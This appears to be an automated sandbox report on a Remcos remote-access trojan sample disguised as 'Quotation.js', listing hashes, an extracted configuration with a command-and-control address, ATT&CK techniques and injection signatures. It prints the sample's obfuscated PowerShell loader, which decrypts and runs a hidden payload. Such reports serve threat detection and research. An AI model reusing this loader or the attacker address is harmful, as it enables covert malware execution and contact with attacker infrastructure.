remcos | c78528f0654929b687cd5c7a16866605ccb46c5497cb32c8a36f6d90384c6650

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/06/2026, 12:18

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General

Target
Quotation.js
Size 2.4MB
Sample260625-pg3mqsby2q
SHA256 c78528f0654929b687cd5c7a16866605ccb46c5497cb32c8a36f6d90384c6650
MD5 cfbc2fd9056308ee56cfee6eef9f24ea
SHA1 c680660ebe41fa8b1fa58554f3ab04b680dfbb71
SHA512 81df7d4969ade0bd8721b0d92a17d53a59e5c9fe4ce5db049861c2bea523974c34cfba564c205c7bf8ff39bf524d3494cacc854eae4c78ece752272a1f2184f2
SSDEEP 3072:BjRR0+NkrrKoj/42Q+w3Qymh1hmxiwFygKJzHCJjflzlDzYdYU1426AIrQS/aBS7:v
TLSH
T1C9C543E7C75ED2001E037762AD15969A848341FE98F2868E6537EEE8717CD6D738AC30
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

system execution remcos rat

Malware Config

Extracted

Family

remcos

Version

7.2.5 Pro

Botnet

system

91.92.41.64:2026

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-5SMN2Q
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3864	4276	powershell.exe	86

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	3864	powershell.exe
13	3864	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3864	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3864 set thread context of 3248	3864	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3864	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3248	Caspol.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3864 wrote to memory of 3248	3864	powershell.exe	92
PID 3864 wrote to memory of 3248	3864	powershell.exe	92
PID 3864 wrote to memory of 3248	3864	powershell.exe	92
PID 3864 wrote to memory of 3248	3864	powershell.exe	92
PID 3864 wrote to memory of 3248	3864	powershell.exe	92
PID 3864 wrote to memory of 3248	3864	powershell.exe	92
PID 3864 wrote to memory of 3248	3864	powershell.exe	92
PID 3864 wrote to memory of 3248	3864	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Quotation.js
1⤵
PID:1020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -Command "try { $twining = [System.Text.Encoding]::UTF8.GetBytes('AUnV7b9kgQnOBhJp'); if ($twining.Length -lt 32) { $twining = $twining + (0..(31 - $twining.Length)) }; $reproductively = [Convert]::FromBase64String($env:P1); $botulismotoxin = $reproductively[0..15]; $Nyamwezi = $reproductively[16..($reproductively.Length-1)]; $cichoriaceous = [System.Security.Cryptography.Aes]::Create(); $cichoriaceous.Key = $twining; $cichoriaceous.IV = $botulismotoxin; $absolutistic = $cichoriaceous.CreateDecryptor(); $nonbreeder = $absolutistic.TransformFinalBlock($Nyamwezi, 0, $Nyamwezi.Length); $eugeniacrinites = [System.Text.Encoding]::UTF8.GetString($nonbreeder); Invoke-Expression $eugeniacrinites; } catch {}"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3864
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3248

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 1e21aa37a7c13d770c826f012cbc47e8604705be67679ffd2282c34c8542daad
MD5 b71dfb2b34bc398ce589f7a10b1c7f91
SHA1 3858030905726f3d2f5de31f0ddf8a490fd25a36
SHA512 2d09297a856bdc839c163a5b92a0b79aee8c74dc6f5b2869a439902824d54b820e8a63cdaee36004ffd55192a4e5e6fe41cc4a7a56c0c105dacbf71b9367c16f
TLSH
T19CC09B5937D5141A7873B167547304357B72FD55103CD80D51D2034C05F550511407DF
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_ikaeyxes.4qu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ikaeyxes.4qu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3248-28-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-14-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-45-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-38-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-37-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-13-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-16-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-21-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-15-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-30-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-19-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-24-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-25-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3248-29-0x0000000140000000-0x00000001400AB000-memory.dmp

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memory/3864-1-0x0000014AEBB90000-0x0000014AEBBA0000-memory.dmp

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memory/3864-2-0x0000014AEE010000-0x0000014AEE032000-memory.dmp

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memory/3864-0-0x0000014AEBB90000-0x0000014AEBBA0000-memory.dmp

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memory/3864-12-0x0000014AEBB90000-0x0000014AEBBA0000-memory.dmp

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memory/3864-11-0x0000014AEE520000-0x0000014AEE52A000-memory.dmp

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memory/3864-10-0x0000014AEE400000-0x0000014AEE522000-memory.dmp

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